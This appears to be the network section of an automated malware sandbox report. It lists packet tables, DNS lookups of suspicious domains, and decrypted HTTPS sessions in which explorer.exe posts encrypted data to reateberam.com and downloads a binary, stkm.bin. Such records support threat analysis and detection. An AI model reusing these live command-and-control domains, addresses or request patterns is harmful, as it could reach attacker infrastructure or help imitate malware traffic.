Dec 2, 2024 18:46:45.548016071 CET	50033	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:45.548048973 CET	443	50033	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:45.556014061 CET	50033	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:45.556036949 CET	443	50033	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:47.148499012 CET	443	50033	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:47.148648977 CET	443	50033	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:47.148715019 CET	50033	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:47.152158976 CET	50033	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:47.152159929 CET	50033	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:47.219999075 CET	50034	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:47.220051050 CET	443	50034	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:47.220252991 CET	50034	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:47.220730066 CET	50034	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:47.220741034 CET	443	50034	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:47.502387047 CET	50033	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:47.502435923 CET	443	50033	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:48.435122013 CET	443	50034	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:48.435187101 CET	50034	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:48.435647964 CET	50034	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:48.435657024 CET	443	50034	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:48.437731028 CET	50034	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:48.437736034 CET	443	50034	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:50.020045996 CET	443	50034	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:50.020138979 CET	443	50034	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:50.020225048 CET	50034	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:50.020518064 CET	50034	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:50.020524025 CET	443	50034	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:50.083658934 CET	50035	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:50.083700895 CET	443	50035	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:50.083843946 CET	50035	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:50.084150076 CET	50035	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:50.084161043 CET	443	50035	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:51.389961958 CET	443	50035	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:51.390038013 CET	50035	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:51.390486002 CET	50035	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:51.390494108 CET	443	50035	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:51.391587973 CET	50035	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:51.391592979 CET	443	50035	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:53.129092932 CET	443	50035	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:53.129192114 CET	443	50035	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:53.129218102 CET	50035	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:53.129415989 CET	50035	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:53.129448891 CET	50035	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:53.129467010 CET	443	50035	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:53.202017069 CET	50036	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:53.202064991 CET	443	50036	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:53.206360102 CET	50036	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:53.206710100 CET	50036	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:53.206721067 CET	443	50036	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:54.473361969 CET	443	50036	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:54.473438025 CET	50036	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:54.474190950 CET	50036	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:54.474199057 CET	443	50036	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:54.476043940 CET	50036	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:54.476051092 CET	443	50036	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:56.061059952 CET	443	50036	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:56.061108112 CET	50036	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:56.061131001 CET	443	50036	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:56.061180115 CET	443	50036	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:56.061188936 CET	50036	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:56.061223030 CET	50036	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:56.061636925 CET	50036	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:56.061652899 CET	443	50036	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:56.309659004 CET	50037	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:56.309710979 CET	443	50037	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:56.309776068 CET	50037	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:56.310225010 CET	50037	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:56.310240030 CET	443	50037	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:57.693523884 CET	443	50037	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:57.693588018 CET	50037	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:57.693989038 CET	50037	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:57.694000959 CET	443	50037	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:57.695869923 CET	50037	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:57.695878029 CET	443	50037	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:59.093195915 CET	443	50037	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:59.093283892 CET	443	50037	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:59.093595982 CET	50037	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:59.094082117 CET	50037	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:59.094103098 CET	443	50037	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:59.276016951 CET	50038	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:59.276061058 CET	443	50038	104.21.68.89	192.168.2.5
Dec 2, 2024 18:46:59.276581049 CET	50038	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:59.276581049 CET	50038	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:46:59.276611090 CET	443	50038	104.21.68.89	192.168.2.5
Dec 2, 2024 18:47:00.613079071 CET	443	50038	104.21.68.89	192.168.2.5
Dec 2, 2024 18:47:00.613179922 CET	50038	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:47:00.614758015 CET	50038	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:47:00.614769936 CET	443	50038	104.21.68.89	192.168.2.5
Dec 2, 2024 18:47:00.616879940 CET	50038	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:47:00.616885900 CET	443	50038	104.21.68.89	192.168.2.5
Dec 2, 2024 18:47:02.283963919 CET	443	50038	104.21.68.89	192.168.2.5
Dec 2, 2024 18:47:02.284059048 CET	443	50038	104.21.68.89	192.168.2.5
Dec 2, 2024 18:47:02.284185886 CET	50038	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:47:02.284483910 CET	50038	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:47:02.284507036 CET	443	50038	104.21.68.89	192.168.2.5
Dec 2, 2024 18:47:02.340296984 CET	50039	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:47:02.340358019 CET	443	50039	104.21.68.89	192.168.2.5
Dec 2, 2024 18:47:02.340426922 CET	50039	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:47:02.340797901 CET	50039	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:47:02.340811968 CET	443	50039	104.21.68.89	192.168.2.5
Dec 2, 2024 18:47:03.675304890 CET	443	50039	104.21.68.89	192.168.2.5
Dec 2, 2024 18:47:03.676152945 CET	50039	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:47:03.677572012 CET	50039	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:47:03.677572012 CET	50039	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:47:03.677588940 CET	443	50039	104.21.68.89	192.168.2.5
Dec 2, 2024 18:47:03.677604914 CET	443	50039	104.21.68.89	192.168.2.5
Dec 2, 2024 18:47:05.405579090 CET	443	50039	104.21.68.89	192.168.2.5
Dec 2, 2024 18:47:05.405699015 CET	443	50039	104.21.68.89	192.168.2.5
Dec 2, 2024 18:47:05.405950069 CET	50039	443	192.168.2.5	104.21.68.89

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 2, 2024 18:42:59.796358109 CET	64263	53	192.168.2.5	1.1.1.1
Dec 2, 2024 18:43:00.168072939 CET	53	64263	1.1.1.1	192.168.2.5
Dec 2, 2024 18:43:02.728329897 CET	63417	53	192.168.2.5	1.1.1.1
Dec 2, 2024 18:43:02.871155977 CET	53	63417	1.1.1.1	192.168.2.5
Dec 2, 2024 18:43:13.840821028 CET	60097	53	192.168.2.5	1.1.1.1
Dec 2, 2024 18:43:14.497829914 CET	53	60097	1.1.1.1	192.168.2.5
Dec 2, 2024 18:43:24.944145918 CET	61396	53	192.168.2.5	1.1.1.1
Dec 2, 2024 18:43:25.320846081 CET	53	61396	1.1.1.1	192.168.2.5
Dec 2, 2024 18:43:34.090838909 CET	58847	53	192.168.2.5	1.1.1.1
Dec 2, 2024 18:43:34.458060026 CET	53	58847	1.1.1.1	192.168.2.5
Dec 2, 2024 18:44:42.943789005 CET	54023	53	192.168.2.5	1.1.1.1
Dec 2, 2024 18:44:43.086226940 CET	53	54023	1.1.1.1	192.168.2.5
Dec 2, 2024 18:45:08.249401093 CET	64234	53	192.168.2.5	1.1.1.1
Dec 2, 2024 18:45:08.412924051 CET	53	64234	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 2, 2024 18:42:59.796358109 CET	192.168.2.5	1.1.1.1	0xbc1f	Standard query (0)	huanvn.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 18:43:02.728329897 CET	192.168.2.5	1.1.1.1	0x2208	Standard query (0)	huanvn.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 18:43:13.840821028 CET	192.168.2.5	1.1.1.1	0x1471	Standard query (0)	vutarf.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 18:43:24.944145918 CET	192.168.2.5	1.1.1.1	0xbe26	Standard query (0)	vutarf.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 18:43:34.090838909 CET	192.168.2.5	1.1.1.1	0xf310	Standard query (0)	vutarf.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 18:44:42.943789005 CET	192.168.2.5	1.1.1.1	0x81f7	Standard query (0)	reateberam.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 18:45:08.249401093 CET	192.168.2.5	1.1.1.1	0x3b4d	Standard query (0)	dogirafer.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 2, 2024 18:43:00.168072939 CET	1.1.1.1	192.168.2.5	0xbc1f	No error (0)	huanvn.com	103.57.249.207	A (IP address)	IN (0x0001)	false
Dec 2, 2024 18:43:02.871155977 CET	1.1.1.1	192.168.2.5	0x2208	No error (0)	huanvn.com	103.57.249.207	A (IP address)	IN (0x0001)	false
Dec 2, 2024 18:43:11.004147053 CET	1.1.1.1	192.168.2.5	0xd559	No error (0)	bg.microsoft.map.fastly.net	199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 2, 2024 18:43:11.004147053 CET	1.1.1.1	192.168.2.5	0xd559	No error (0)	bg.microsoft.map.fastly.net	199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 2, 2024 18:43:14.497829914 CET	1.1.1.1	192.168.2.5	0x1471	No error (0)	vutarf.com	94.232.43.224	A (IP address)	IN (0x0001)	false
Dec 2, 2024 18:43:25.320846081 CET	1.1.1.1	192.168.2.5	0xbe26	No error (0)	vutarf.com	94.232.43.224	A (IP address)	IN (0x0001)	false
Dec 2, 2024 18:43:34.458060026 CET	1.1.1.1	192.168.2.5	0xf310	No error (0)	vutarf.com	94.232.43.224	A (IP address)	IN (0x0001)	false
Dec 2, 2024 18:44:43.086226940 CET	1.1.1.1	192.168.2.5	0x81f7	No error (0)	reateberam.com	172.67.217.190	A (IP address)	IN (0x0001)	false
Dec 2, 2024 18:44:43.086226940 CET	1.1.1.1	192.168.2.5	0x81f7	No error (0)	reateberam.com	104.21.16.251	A (IP address)	IN (0x0001)	false
Dec 2, 2024 18:44:54.557385921 CET	1.1.1.1	192.168.2.5	0x8578	No error (0)	bg.microsoft.map.fastly.net	199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 2, 2024 18:44:54.557385921 CET	1.1.1.1	192.168.2.5	0x8578	No error (0)	bg.microsoft.map.fastly.net	199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 2, 2024 18:45:08.412924051 CET	1.1.1.1	192.168.2.5	0x3b4d	No error (0)	dogirafer.com	104.21.68.89	A (IP address)	IN (0x0001)	false
Dec 2, 2024 18:45:08.412924051 CET	1.1.1.1	192.168.2.5	0x3b4d	No error (0)	dogirafer.com	172.67.192.128	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reateberam.com

dogirafer.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49907	172.67.217.190	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:44:44 UTC	416	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hmdViRxTPtzmAYfxODCVLcbPy2vCfMYFSg6m741x7W74yYwzVuV08oc+L33B0vDqTu8/JSvpK54Ytrr38FQTZAvp/2bg1TAFoNUkz67MPOTGTcsGxGZcpO8bgvihL3rbWBQnlm4x64W3ORV5FvWuehdE1VOeWVOCBw+dQZsw== User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: reateberam.com Content-Length: 92 Cache-Control: no-cache
2024-12-02 17:44:44 UTC	92	OUT	Data Raw: 4c 48 44 4d 46 38 2f 6d 69 75 38 77 5a 78 61 4b 31 32 7a 6c 79 48 78 50 62 6b 43 45 44 53 71 37 50 4b 48 76 2f 6d 4f 49 4d 47 66 2f 7a 54 71 76 33 47 2f 57 36 50 6e 76 74 69 45 36 65 52 70 37 49 38 33 73 6e 6b 68 63 57 65 2f 71 78 36 78 74 7a 50 48 55 30 36 70 42 69 45 45 3d Data Ascii: LHDMF8/miu8wZxaK12zlyHxPbkCEDSq7PKHv/mOIMGf/zTqv3G/W6PnvtiE6eRp7I83snkhcWe/qx6xtzPHU06pBiEE=
2024-12-02 17:44:45 UTC	789	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:44:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5e74ERtA%2BfBQnivRhAg5AqzV3H6uJvzps67hovkye0KqoUQ3hMzFGaT71OE4hsh%2BhmWV4KCloH7V5uhDeavPBBGpHu4zGW3c16uxWSdLMd1yMpSNZUFtT5N7TA8lA7zisA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd2070ae1136a0-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=56258&min_rtt=30547&rtt_var=29820&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1168&delivery_rate=95590&cwnd=32&unsent_bytes=0&cid=9e39c87d544dce7b&ts=876&x=0"
2024-12-02 17:44:45 UTC	98	IN	Data Raw: 35 63 0d 0a 50 69 57 62 51 38 57 33 33 49 70 67 59 52 76 63 68 57 61 73 79 6e 4e 4b 4f 45 33 51 41 30 36 71 5a 76 36 33 74 69 2f 45 4b 52 69 62 6e 32 4c 39 30 57 37 54 36 5a 58 68 73 54 56 71 4a 6b 38 75 4e 70 58 70 67 46 34 69 43 62 62 51 73 4b 51 50 75 70 53 70 70 34 51 44 31 77 3d 3d 0d 0a Data Ascii: 5cPiWbQ8W33IpgYRvchWasynNKOE3QA06qZv63ti/EKRibn2L90W7T6ZXhsTVqJk8uNpXpgF4iCbbQsKQPupSpp4QD1w==
2024-12-02 17:44:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49916	172.67.217.190	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:44:47 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hndViRxTPtzmAYfxODCVLcbPy2vCfMYFSg6m741x7W74yYwzVuV08oc+L33B0vDqTu8/JSvpK54Ytrr38FQTZAvp/2bg1TAFoNUkz67MPOTGTcsGxGZcpO8bgvihL3rbWBQnlm4x64W3ORV5FvWuehdE1VOeWVOCBw+dQZsw== User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: reateberam.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:44:48 UTC	796	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:44:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dfI64oB%2FTCAAIQXBvzm3%2BOlEBq0e3km5HRET%2F%2BOFtPSxXcJXLO8k3X6qdZNkqXgO2eHljjEk1Lr8Xjk1MN6P%2FbyN8G9XpOtqL8X29Iq%2FY2xIVa8CDWuv04ifAPrEoRHvJw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd20850ae35e72-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1773&min_rtt=1751&rtt_var=701&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1053&delivery_rate=1512953&cwnd=193&unsent_bytes=0&cid=523f52900f0abd16&ts=776&x=0"
2024-12-02 17:44:48 UTC	50	IN	Data Raw: 32 63 0d 0a 50 69 36 56 54 63 75 36 32 59 70 67 5a 78 7a 5a 68 32 50 6a 67 33 35 50 4f 45 76 66 41 30 36 70 62 50 71 36 76 69 66 46 4b 52 69 62 0d 0a Data Ascii: 2cPi6VTcu62YpgZxzZh2Pjg35POEvfA06pbPq6vifFKRib
2024-12-02 17:44:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49922	172.67.217.190	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:44:50 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hkdViRxTPtzmAYfxODCVLcbPy2vCfMYFSg6m741x7W74yYwzVuV08oc+L33B0vDqTu8/JSvpK54Ytrr38FQTZAvp/2bg1TAFoNUkz67MPOTGTcsGxGZcpO8bgvihL3rbWBQnlm4x64W3ORV5FvWuehdE1VOeWVOCBw+dQZsw== User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: reateberam.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:44:50 UTC	791	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:44:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9EV8Q%2FAKjzZ1NgxrZhghToGONYvdKgLT5dohopYro1CLhBiVosTjXsy0V1Zl6p88uWyzISCqu5vgxSn6NMbjl8p%2FjwXgxa3fET0cZ693LndFd9SCgrkb%2FrzNJjtn7wNDTg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd209328bd36a9-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14288&min_rtt=14281&rtt_var=5369&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1053&delivery_rate=203654&cwnd=32&unsent_bytes=0&cid=bc88edd5db5f33bd&ts=803&x=0"
2024-12-02 17:44:50 UTC	431	IN	Data Raw: 31 61 38 0d 0a 50 43 79 62 51 4d 75 31 33 59 70 6a 61 68 76 62 67 32 44 6a 67 33 52 49 4f 30 33 54 41 45 36 6c 61 76 6d 77 75 79 58 4f 4b 52 69 62 37 78 75 50 6f 41 32 31 6a 34 62 55 69 7a 52 6f 4a 45 38 72 66 4a 4f 4f 67 6c 67 68 44 37 4b 2f 74 75 30 4e 73 5a 57 75 6f 4d 38 2b 67 69 56 54 48 57 46 45 35 73 54 73 44 47 6c 31 64 48 45 73 51 51 6e 32 75 59 53 4a 44 43 48 52 71 33 63 4d 4e 4a 6b 63 34 72 38 34 78 55 4b 30 75 2f 43 62 58 32 73 68 6f 41 6d 6c 42 68 76 34 46 38 77 7a 44 65 72 6e 49 33 4d 59 61 4c 37 45 65 6e 67 70 71 34 56 43 36 6c 4c 59 44 78 77 70 68 6b 6f 38 4f 56 34 4c 4e 38 43 39 65 76 37 37 62 56 65 4d 65 33 36 78 55 58 6e 57 66 67 46 58 66 79 62 6c 32 51 42 68 53 72 63 56 6c 34 2b 56 6e 71 30 44 4d 38 65 5a 76 39 50 65 42 66 52 53 54 70 Data Ascii: 1a8PCybQMu13Ypjahvbg2Djg3RIO03TAE6lavmwuyXOKRib7xuPoA21j4bUizRoJE8rfJOOglghD7K/tu0NsZWuoM8+giVTHWFE5sTsDGl1dHEsQQn2uYSJDCHRq3cMNJkc4r84xUK0u/CbX2shoAmlBhv4F8wzDernI3MYaL7Eengpq4VC6lLYDxwphko8OV4LN8C9ev77bVeMe36xUXnWfgFXfybl2QBhSrcVl4+Vnq0DM8eZv9PeBfRSTp
2024-12-02 17:44:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49928	172.67.217.190	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:44:52 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hldViRxTPtzmAYfxODCVLcbPy2vCfMYFSg6m741x7W74yYwzVuV08oc+L33B0vDqTu8/JSvpK54Ytrr38FQTZAvp/2bg1TAFoNUkz67MPOTGTcsGxGZcpO8bgvihL3rbWBQnlm4x64W3ORV5FvWuehdE1VOeWVOCBw+dQZsw== User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: reateberam.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:44:53 UTC	796	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:44:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uedJheL%2BVrqoYnddSjiyKtcHLYojYh%2F1KuiGOR%2FiANMSnL%2FrkYhgp7Q1Dq8sO%2BRm9W6qGheMxlpeBgSAlIQNLUpS35OCR%2Bb5AUszhkATENblhqklbwAWw1cO373DdYeogg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd20a0ce898c84-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1854&min_rtt=1850&rtt_var=701&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1053&delivery_rate=1551540&cwnd=175&unsent_bytes=0&cid=52ba0c83c9f5e303&ts=753&x=0"
2024-12-02 17:44:53 UTC	431	IN	Data Raw: 31 61 38 0d 0a 50 53 6d 55 54 4d 4f 31 33 59 70 76 59 52 6e 61 6a 47 48 6f 67 33 52 47 4d 6b 33 52 42 53 4c 43 61 50 6d 33 76 79 4c 45 59 6d 6d 63 70 68 53 47 70 42 36 79 69 4a 69 56 6a 41 31 70 4a 30 45 6a 66 4a 66 6f 37 46 30 6e 44 37 75 32 74 71 4a 47 74 5a 47 76 70 4d 73 35 37 55 35 57 47 32 42 45 35 38 43 6a 66 57 34 71 63 32 38 7a 62 6b 57 36 72 5a 69 4a 43 43 4b 59 76 6e 64 52 49 35 30 4a 38 37 67 2f 30 6c 47 34 2b 4c 32 58 58 53 6c 36 73 52 2b 69 58 54 6e 2f 4b 63 41 32 41 75 6a 6e 4a 42 68 2b 61 62 37 44 66 6e 6b 75 34 4d 74 46 37 46 58 63 41 42 35 4f 37 45 30 34 4d 56 4d 4f 4e 6f 7a 4d 66 61 48 38 63 30 69 6a 4e 6a 4f 6c 54 58 6e 53 66 55 68 43 66 32 33 75 30 51 35 36 57 62 41 57 67 4e 50 59 6b 71 39 42 61 4e 61 50 75 49 6a 38 41 73 31 52 52 70 Data Ascii: 1a8PSmUTMO13YpvYRnajGHog3RGMk3RBSLCaPm3vyLEYmmcphSGpB6yiJiVjA1pJ0EjfJfo7F0nD7u2tqJGtZGvpMs57U5WG2BE58CjfW4qc28zbkW6rZiJCCKYvndRI50J87g/0lG4+L2XXSl6sR+iXTn/KcA2AujnJBh+ab7Dfnku4MtF7FXcAB5O7E04MVMONozMfaH8c0ijNjOlTXnSfUhCf23u0Q56WbAWgNPYkq9BaNaPuIj8As1RRp
2024-12-02 17:44:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49934	172.67.217.190	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:44:55 UTC	127	OUT	GET /files/stkm.bin HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: reateberam.com
2024-12-02 17:44:56 UTC	948	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:44:56 GMT Content-Type: application/octet-stream Content-Length: 857600 Connection: close Content-Disposition: attachment; filename = stkm.bin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 224 Last-Modified: Mon, 02 Dec 2024 17:41:12 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gON8IKGktM4rZ7sLDmTqQ8KdB4z%2F01%2FRpyeE%2BXLqDylShs1uPUp7FiQV9fA%2BAUa5ujUc8PYaEbTIAOMtu09bEmOerymq31tJTBY%2FFrOwhDOwPlUdC3XqNT9eer08dSQNzA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd20b62d038cb3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2070&min_rtt=1897&rtt_var=835&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=765&delivery_rate=1539272&cwnd=219&unsent_bytes=0&cid=b8eba4bc3697e437&ts=1813&x=0"
